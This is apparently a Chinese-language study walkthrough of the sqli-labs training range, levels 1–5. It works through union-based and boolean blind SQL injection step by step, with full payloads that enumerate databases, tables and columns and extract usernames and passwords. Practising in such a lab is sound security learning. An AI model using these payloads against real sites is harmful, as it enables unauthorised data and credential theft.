流程
- 判断注入点和注入类型
- 判断字段个数
- 判断显示位
- 爆库
- 爆表
- 爆字段名
- 爆内容
配置注意事项
使用sqli-labs本地靶场,配置本地靶场需要注意的问题:
-
数据库配置文件db-creds.inc
-
php版本由于该靶场比较古早,所以php的版本要选择更低一点的,比如5.3.29
Less-1 单引号注入
1. 判断注入点和注入类型
单引号报错 ?id=-1' --+
2. 查字段个数
?id=1' order by 4--+
3. 判断显示位
?id=-1' union select 1,2,3 --+
4. 查库
-1' union select 1,2,database()--+
5. 查表
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
6. 查列
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+
7. 查内容
-1' union select 1,group_concat(username),3 from security.users --+
-1' union select 1,group_concat(username),group_concat(password) from users --+
判断类型
单引号回显正常,查询语句闭合,存在注入点
1’ and 1=1回显正常,1’ and 1=2回显错误
判断字段
order by 3正常,order by 4报错,则存在三个字段
判断显示位
爆库名
爆出库名:security
爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆出表名:emails,referers,uagents,users
选择一个表,users
爆列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+
爆字段
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+
Less-2 数字注入
判断类型
and 1=1正常,and 1=2 报错,判断是数字型注入
判断字段
order by判断字段个数,3个字段
判断显示位
爆库
爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+
爆字段
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users --+
Less-3 单引号+括号 注入
判断类型
发现 ') 可以闭合
ps:
在实验过程中,发现双引号也可以闭合,但是执行后续命令失败,应该是语句判别时不太对。
查看对应的sql语句能明显知道这一关是 ') 去闭合。
判断字段
字段数为3
判断显示位
爆库
爆表
Less-3/?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆列
Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+
爆字段
Less-4 双引号+括号 注入
判断类型
双引号+括号可以闭合
分析源代码:
对输入的 id 添加了双引号,执行语句里又添加了括号
判断字段
判断显示位
爆库
爆表
Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆列
Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+
爆字段
Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from security.users --+
Less-5
判断类型
单引号闭合
判断字段数
判断显示位
没有显示位,尝试报错注入或者盲注
盲注—基于布尔
测试数据库版本:
/Less-5/?id=1' and left(version(),1)=5 --+
查看一下version(),数据库的版本号为5.3,这里的这句话的意思是看看版本号的第一位是否是5,很明显返回的结果是正确的。
判断数据库名字的长度
测试数据库长度
Less-5/?id=1' and length(database())=8--+
爆破库名 left(a,b)
测试库名的第一位
Less-5/?id=1' and left(database(),1)>'a'--+
Less-5/?id=1' and left(database(),1)='s'--+
测试库名的前两位
Less-5/?id=1' and left(database(),2)='se'--+
...
经过测试大于、小于之后,我们最后可以用 等于 确定数据库的第一位是 s
ps:
在我们不知情的情况下,我们可以使用二分法来提高注入效率
之后的判断都是一样的,依次猜解就好,只需要修改left(a,b)中b的位置(该位置决定从哪个位置开始判断测试)。
最终测试出数据库的名字为 security
爆破表 substr()、ascii()
获取security数据库的第一个表的第一个字符:
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>100 --+
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 --+
可以通过修改substr(str,start,length)中的第二个参数“start”来猜解第一个表的第二个字符的内容。
猜测第二个表的名称,可以通过limit start,length来实现,通过修改start的值,来实现对第二个参数的获取与测试。
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>100--+
第一个表:
经测试,数据库的第一个表的第一个字符为 e
第二个表:
经过测试,我们可以确定数据库名称为security,而且数据库中存在user表。
爆列 regexp
Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+
Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
确定该user表中存在us****的列
确定存在列username
爆字段 ord()、mid()
获取user表中username中第一行的第一个字符的ascii:
/Less-5/?id=1' and ord(mid((select IFNULL(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+
cast(username as char)将username转换成char类型,
注意这里是cast函数( 语法:cast(字段名 as 转换的类型 ) )
ifnull(expr1,expr2)函数的语法为如果 expr1 不是null,ifnull() 返回 expr1,否则它返回 expr2。
0x20是空格的ascii码的十六进制表示。
mid()函数截取字符串一部分,mid(str,start,length)从位置start开始,截取str字符串的length位。
ord()函数同ascii(),将字符转为ascii值
报错注入
盲注有点痛苦,报错之后空了再来写吧